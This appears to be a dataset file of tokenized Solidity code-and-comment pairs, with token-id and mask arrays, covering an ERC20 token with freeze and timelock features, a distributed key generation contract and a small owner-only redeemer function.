[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1177, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 10594, 639, 58, 23, 1358, 4746, 273, 10594, 639, 58, 23, 1358, 12, 20, 92, 28, 37, 5877, 23, 5608, 27, 37, 21, 29634, 7616, 24, 7228, 29, 7677, 71, 41, 9349, 41, 29, 74, 6418, 4313, 23, 37, 28, 6799, 4449, 20, 73, 1769, 203, 3639, 327, 4746, 18, 1589, 5621, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xB0e8FA1fAa6585B1E2Ab880d98eCf1bb01f69aF0/sources/DigitsRedeemer.sol
remove time periods from the options
function removeTimePeriods(uint[] calldata timePeriods) public onlyOwner { for (uint i; i < timePeriods.length; i++) { timePeriodOptions[timePeriods[i]] = false; } }
16,015,257
[ 1, 4479, 813, 12777, 628, 326, 702, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 26540, 87, 12, 11890, 8526, 745, 892, 19470, 87, 13, 1071, 1338, 5541, 288, 203, 3639, 364, 261, 11890, 277, 31, 277, 411, 19470, 87, 18, 2469, 31, 277, 27245, 288, 203, 5411, 19470, 1320, 63, 957, 30807, 63, 77, 13563, 273, 629, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/FreezableToken.sol /** * @title Freezable Token * @dev Token that can be freezed for chosen token holder. */ contract FreezableToken is Ownable { mapping (address => bool) public frozenList; event FrozenFunds(address indexed wallet, bool frozen); /** * @dev Owner can freeze the token balance for chosen token holder. * @param _wallet The address of token holder whose tokens to be frozen. */ function freezeAccount(address _wallet) public onlyOwner { require(_wallet != address(0)); frozenList[_wallet] = true; emit FrozenFunds(_wallet, true); } /** * @dev Owner can unfreeze the token balance for chosen token holder. * @param _wallet The address of token holder whose tokens to be unfrozen. */ function unfreezeAccount(address _wallet) public onlyOwner { require(_wallet != address(0)); frozenList[_wallet] = false; emit FrozenFunds(_wallet, false); } /** * @dev Check the specified token holder whether his/her token balance is frozen. * @param _wallet The address of token holder to check. */ function isFrozen(address _wallet) public view returns (bool) { return frozenList[_wallet]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: contracts/TokenTimelock.sol /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); // Change safeTransfer -> transfer because issue with assert function with ref type. token.transfer(beneficiary, amount); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/SaifuToken.sol contract SaifuToken is StandardToken, FreezableToken { using SafeMath for uint256; string public constant name = "Saifu"; string public constant symbol = "SFU"; uint8 public constant decimals = 18; uint256 public constant INITIAL_TOTAL_SUPPLY = 200e6 * (10 ** uint256(decimals)); uint256 public constant AMOUNT_TOKENS_FOR_SELL = 130e6 * (10 ** uint256(decimals)); uint256 public constant RESERVE_FUND = 20e6 * (10 ** uint256(decimals)); uint256 public constant RESERVED_FOR_TEAM = 50e6 * (10 ** uint256(decimals)); uint256 public constant RESERVED_TOTAL_AMOUNT = 70e6 * (10 ** uint256(decimals)); uint256 public alreadyReservedForTeam = 0; address public burnAddress; bool private isReservedFundsDone = false; uint256 private setBurnAddressCount = 0; // Key: address of wallet, Value: address of contract. mapping (address => address) private lockedList; /** * @dev Throws if called by any account other than the burnable account. */ modifier onlyBurnAddress() { require(msg.sender == burnAddress); _; } /** * @dev Create SaifuToken contract */ constructor() public { totalSupply_ = totalSupply_.add(INITIAL_TOTAL_SUPPLY); balances[owner] = balances[owner].add(AMOUNT_TOKENS_FOR_SELL); emit Transfer(address(0), owner, AMOUNT_TOKENS_FOR_SELL); balances[this] = balances[this].add(RESERVED_TOTAL_AMOUNT); emit Transfer(address(0), this, RESERVED_TOTAL_AMOUNT); } /** * @dev Transfer token for a specified address. * @dev Only applies when the transfer is allowed by the owner. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(!isFrozen(msg.sender)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another. * @dev Only applies when the transfer is allowed by the owner. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!isFrozen(msg.sender)); require(!isFrozen(_from)); return super.transferFrom(_from, _to, _value); } /** * @dev Set burn address. * @param _address New burn address */ function setBurnAddress(address _address) public onlyOwner { require(setBurnAddressCount < 3); require(_address != address(0)); burnAddress = _address; setBurnAddressCount = setBurnAddressCount.add(1); } /** * @dev Reserve funds. * @param _address the address for reserve funds. */ function reserveFunds(address _address) public onlyOwner { require(_address != address(0)); require(!isReservedFundsDone); sendFromContract(_address, RESERVE_FUND); isReservedFundsDone = true; } /** * @dev Get locked contract address. * @param _address the address of owner these tokens. */ function getLockedContract(address _address) public view returns(address) { return lockedList[_address]; } /** * @dev Reserve for team. * @param _address the address for reserve. * @param _amount the specified amount for reserve. * @param _time the specified freezing time (in days). */ function reserveForTeam(address _address, uint256 _amount, uint256 _time) public onlyOwner { require(_address != address(0)); require(_amount > 0 && _amount <= RESERVED_FOR_TEAM.sub(alreadyReservedForTeam)); if (_time > 0) { address lockedAddress = new TokenTimelock(this, _address, now.add(_time * 1 days)); lockedList[_address] = lockedAddress; sendFromContract(lockedAddress, _amount); } else { sendFromContract(_address, _amount); } alreadyReservedForTeam = alreadyReservedForTeam.add(_amount); } /** * @dev Send tokens which will be frozen for specified time. * @param _address the address for send. * @param _amount the specified amount for send. * @param _time the specified freezing time (in seconds). */ function sendWithFreeze(address _address, uint256 _amount, uint256 _time) public onlyOwner { require(_address != address(0) && _amount > 0 && _time > 0); address lockedAddress = new TokenTimelock(this, _address, now.add(_time)); lockedList[_address] = lockedAddress; transfer(lockedAddress, _amount); } /** * @dev Unlock frozen tokens. * @param _address the address for which to release already unlocked tokens. */ function unlockTokens(address _address) public { require(lockedList[_address] != address(0)); TokenTimelock lockedContract = TokenTimelock(lockedList[_address]); lockedContract.release(); } /** * @dev Burn a specific amount of tokens. * @param _amount The Amount of tokens. */ function burnFromAddress(uint256 _amount) public onlyBurnAddress { require(_amount > 0); require(_amount <= balances[burnAddress]); balances[burnAddress] = balances[burnAddress].sub(_amount); totalSupply_ = totalSupply_.sub(_amount); emit Transfer(burnAddress, address(0), _amount); } /* * @dev Send tokens from contract. * @param _address the address destination. * @param _amount the specified amount for send. */ function sendFromContract(address _address, uint256 _amount) internal { balances[this] = balances[this].sub(_amount); balances[_address] = balances[_address].add(_amount); emit Transfer(this, _address, _amount); } }
* @title TokenTimelock @dev TokenTimelock is a token holder contract that will allow a beneficiary to extract the tokens after a given release time/ ERC20 basic token contract being held beneficiary of tokens after they are released timestamp when token release is enabled
contract TokenTimelock { using SafeERC20 for ERC20Basic; ERC20Basic public token; address public beneficiary; uint256 public releaseTime; constructor(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.transfer(beneficiary, amount); } }
2,116,822
[ 1, 1345, 10178, 292, 975, 225, 3155, 10178, 292, 975, 353, 279, 1147, 10438, 6835, 716, 903, 1699, 279, 27641, 74, 14463, 814, 358, 2608, 326, 2430, 1839, 279, 864, 3992, 813, 19, 4232, 39, 3462, 5337, 1147, 6835, 3832, 15770, 27641, 74, 14463, 814, 434, 2430, 1839, 2898, 854, 15976, 2858, 1347, 1147, 3992, 353, 3696, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3155, 10178, 292, 975, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 4232, 39, 3462, 8252, 31, 203, 203, 565, 4232, 39, 3462, 8252, 1071, 1147, 31, 203, 203, 565, 1758, 1071, 27641, 74, 14463, 814, 31, 203, 203, 565, 2254, 5034, 1071, 3992, 950, 31, 203, 203, 203, 565, 3885, 12, 654, 39, 3462, 8252, 389, 2316, 16, 1758, 389, 70, 4009, 74, 14463, 814, 16, 2254, 5034, 389, 9340, 950, 13, 1071, 288, 203, 3639, 2583, 24899, 9340, 950, 405, 2037, 1769, 203, 3639, 1147, 273, 389, 2316, 31, 203, 3639, 27641, 74, 14463, 814, 273, 389, 70, 4009, 74, 14463, 814, 31, 203, 3639, 3992, 950, 273, 389, 9340, 950, 31, 203, 565, 289, 203, 203, 565, 445, 3992, 1435, 1071, 288, 203, 3639, 2583, 12, 3338, 1545, 3992, 950, 1769, 203, 203, 3639, 2254, 5034, 3844, 273, 1147, 18, 12296, 951, 12, 2211, 1769, 203, 3639, 2583, 12, 8949, 405, 374, 1769, 203, 203, 3639, 1147, 18, 13866, 12, 70, 4009, 74, 14463, 814, 16, 3844, 1769, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Using the ABIEncoderV2 poses little risk here because we only use it for fetching the byte arrays // of shares/responses/justifications pragma experimental ABIEncoderV2; pragma solidity ^0.6.6; contract DKG { enum UserState { CannotRegister, CanRegister, Registered } /// Mapping of Ethereum Address => UserState for the actions a user can do mapping(address => UserState) public userState; /// Mapping of Ethereum Address => BLS public keys mapping(address => bytes) public keys; /// Mapping of Ethereum Address => DKG Phase 1 Shares mapping(address => bytes) public shares; /// Mapping of Ethereum Address => DKG Phase 2 Responses mapping(address => bytes) public responses; /// Mapping of Ethereum Address => DKG Phase 3 Justifications mapping(address => bytes) public justifications; /// List of registered Ethereum keys (used for conveniently fetching data) address[] public participants; /// The duration of each phase uint256 public immutable PHASE_DURATION; /// The threshold of the DKG uint256 public immutable THRESHOLD; /// If it's 0 then the DKG is still pending start. If >0, it is the DKG's start block uint256 public startBlock = 0; /// The owner of the DKG is the address which can call the `start` function address public owner; /// A registered participant is one whose pubkey's length > 0 modifier onlyRegistered() { require(userState[msg.sender] == UserState.Registered, "you are not registered!"); _; } /// The DKG starts when startBlock > 0 modifier onlyWhenNotStarted() { require(startBlock == 0, "DKG has already started"); _; } constructor(uint256 threshold, uint256 duration) public { PHASE_DURATION = duration; THRESHOLD = threshold; owner = msg.sender; } /// Kickoff function which starts the counter function start() external onlyWhenNotStarted { require(msg.sender == owner, "only owner may start the DKG"); startBlock = block.number; } /// The administrator must allowlist an addrss for participation in the DKG function allowlist(address user) external onlyWhenNotStarted { require(msg.sender == owner, "only owner may allowlist users"); require(userState[user] == UserState.CannotRegister, "user is already allowlisted"); userState[user] = UserState.CanRegister; } /// This function ties a DKG participant's on-chain address with their BLS Public Key function register(bytes calldata blsPublicKey) external onlyWhenNotStarted { require(userState[msg.sender] == UserState.CanRegister, "user is not allowlisted or has already registered"); participants.push(msg.sender); keys[msg.sender] = blsPublicKey; // the user is now registered userState[msg.sender] = UserState.Registered; } /// Participant publishes their data and depending on the phase the data gets inserted /// in the shares, responses or justifications mapping. Reverts if the participant /// has already published their data for a phase or if the DKG has ended. function publish(bytes calldata value) external onlyRegistered { uint256 blocksSinceStart = block.number - startBlock; if (blocksSinceStart <= PHASE_DURATION) { require( shares[msg.sender].length == 0, "you have already published your shares" ); shares[msg.sender] = value; } else if (blocksSinceStart <= 2 * PHASE_DURATION) { require( responses[msg.sender].length == 0, "you have already published your responses" ); responses[msg.sender] = value; } else if (blocksSinceStart <= 3 * PHASE_DURATION) { require( justifications[msg.sender].length == 0, "you have already published your justifications" ); justifications[msg.sender] = value; } else { revert("DKG has ended"); } } // Helpers to fetch data in the mappings. If a participant has registered but not // published their data for a phase, the array element at their index is expected to be 0 /// Gets the participants' shares function getShares() external view returns (bytes[] memory) { bytes[] memory _shares = new bytes[](participants.length); for (uint256 i = 0; i < participants.length; i++) { _shares[i] = shares[participants[i]]; } return _shares; } /// Gets the participants' responses function getResponses() external view returns (bytes[] memory) { bytes[] memory _responses = new bytes[](participants.length); for (uint256 i = 0; i < participants.length; i++) { _responses[i] = responses[participants[i]]; } return _responses; } /// Gets the participants' justifications function getJustifications() external view returns (bytes[] memory) { bytes[] memory _justifications = new bytes[](participants.length); for (uint256 i = 0; i < participants.length; i++) { _justifications[i] = justifications[participants[i]]; } return _justifications; } /// Gets the participants' ethereum addresses function getParticipants() external view returns (address[] memory) { return participants; } /// Gets the participants' BLS keys along with the thershold of the DKG function getBlsKeys() external view returns (uint256, bytes[] memory) { bytes[] memory _keys = new bytes[](participants.length); for (uint256 i = 0; i < participants.length; i++) { _keys[i] = keys[participants[i]]; } return (THRESHOLD, _keys); } /// Returns the current phase of the DKG. function inPhase() public view returns (uint256) { if (startBlock == 0) { return 0; } uint256 blocksSinceStart = block.number - startBlock; if (blocksSinceStart <= PHASE_DURATION) { return 1; } if (blocksSinceStart <= 2 * PHASE_DURATION) { return 2; } if (blocksSinceStart <= 3 * PHASE_DURATION) { return 3; } revert("DKG Ended"); } }
Mapping of Ethereum Address => UserState for the actions a user can do
mapping(address => UserState) public userState;
7,215,509
[ 1, 3233, 434, 512, 18664, 379, 5267, 516, 2177, 1119, 364, 326, 4209, 279, 729, 848, 741, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2177, 1119, 13, 1071, 729, 1119, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
